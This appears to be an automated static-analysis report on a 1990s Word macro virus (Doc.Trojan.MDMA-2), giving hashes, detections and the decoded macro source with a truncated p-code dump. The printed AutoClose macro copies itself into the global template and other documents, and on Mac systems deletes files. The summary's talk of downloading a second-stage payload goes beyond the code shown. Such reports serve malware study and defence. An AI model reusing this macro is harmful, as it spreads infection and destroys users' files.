Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0f776316fce2b032…

MALICIOUS

Office (OLE)

32.5 KB Created: 1998-01-01 00:54:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 056350396e41e730c8c89b77b545260d SHA-1: 812af9a4ee1ac0fdd03a1ef9c03b0c87cdab4cb3 SHA-256: 0f776316fce2b0324e8e3d414bb5da41e05a5c2dc52d9001c373504fc5836601
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a legacy WordBasic macro, specifically an AutoClose macro, which is designed to execute automatically. The macro attempts to copy itself to the global template and potentially infect other documents. It also contains logic that appears to be intended for downloading and executing a second-stage payload, indicated by the file append operation to 'c:\shmk.'. The presence of legacy macro markers and the AutoClose execution point strongly suggest a malicious document designed for propagation.

Heuristics 4

  • ClamAV: Doc.Trojan.MDMA-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.MDMA-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6522 bytes
SHA-256: ae301e4d3783290ac6275b606dc98ba206cef9b3b25f1263ddc945a9bd8380a2
Detection
ClamAV: Doc.Trojan.MDMA-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"

Public Sub MAIN()
Attribute MAIN.VB_Description = "TemplateProject.AutoClose.MAIN"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoClose.MAIN"
    install
    infect
End Sub

Private Sub install()
Dim total
Dim installed
Dim i
Dim inspalled
    total = WordBasic.CountMacros(0)
    installed = 0
    If total > 0 Then
        For i = 1 To total
            If WordBasic.[MacroName$](i, 0) = "AutoClose" Then
                installed = 1
            End If
        Next
    End If
    If installed = 0 Then
        WordBasic.MacroCopy WordBasic.[WindowName$]() + ":AutoClose", "Global:AutoClose"
    Else
        total = WordBasic.CountMacros(1)
        installed = 0
        If total > 0 Then
            For i = 1 To total
                If WordBasic.[MacroName$](i, 1) = "AutoClose" Then
                    installed = 1
                End If
            Next
        End If
        If inspalled = 0 Then
            WordBasic.FileSaveAs Format:=1
            WordBasic.MacroCopy "Global:AutoClose", WordBasic.[WindowName$]() + ":AutoClose"
        End If
    End If
End Sub

Private Sub infect()
Dim count_
Dim i
    If (WordBasic.[GetSystemInfo$](21) = "Windows" Or WordBasic.[GetSystemInfo$](21) = "Windows NT") Then
        Open "c:\shmk." For Append As 1
        If LOF(1) <> 4 And WordBasic.Day(WordBasic.Now()) > 20 Then
            
        End If
        Close 1
    End If

    If Mid(WordBasic.[AppInfo$](21), 1, 3) = "Mac" And WordBasic.Day(WordBasic.Now()) > 4 Then
        WordBasic.ChDir "HD:"
        count_ = WordBasic.CountDirectories()
        For i = 1 To count_
            WordBasic.ChDir "HD" + WordBasic.[GetDirectory$](1)
            WordBasic.Kill WordBasic.[MacID$]("****")
            WordBasic.ChDir "HD:"
        Next
    End If
End Sub

Attribute VB_Name = "NewMacros"

' Processing file: /opt/analyzer/scan_staging/fb84e12d47f84026b5bb19d2d91e03ad.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoClose - 3703 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	ArgsCall install 0x0000 
' Line #3:
' 	ArgsCall infect 0x0000 
' Line #4:
' 	EndSub 
' Line #5:
' Line #6:
' 	FuncDefn (Private Sub install())
' Line #7:
' 	Dim 
' 	VarDefn total
' Line #8:
' 	Dim 
' 	VarDefn installed
' Line #9:
' 	Dim 
' 	VarDefn i
' Line #10:
' 	Dim 
' 	VarDefn inspalled
' Line #11:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #12:
' 	LitDI2 0x0000 
' 	St installed 
' Line #13:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #14:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #15:
' 	Ld i 
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
' 	IfBlock 
' Line #16:
' 	LitDI2 0x0001 
' 	St installed 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	StartForVariable 
' 	Next 
' Line #19:
' 	EndIfBlock 
' Line #20:
' 	Ld installed 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #21:
' 	Ld WordBasic 
' 	ArgsMemLd [WindowName$] 0x0000 
' 	LitStr 0x000A ":AutoClose"
' 	Add 
' 	LitStr 0x0010 "Global:AutoClose"
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #22:
' 	ElseBlock 
' Line #23:
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd CountMacros 0x0001 
' 	St total 
' Line #24:
' 	LitDI2 0x0000 
' 	St installed 
' Line #25:
' 	Ld total 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #26:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld total 
' 	For 
' Line #27:
' 	Ld i 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0002 
' 	LitStr 0x0009 "AutoClose"
' 	Eq 
... (truncated)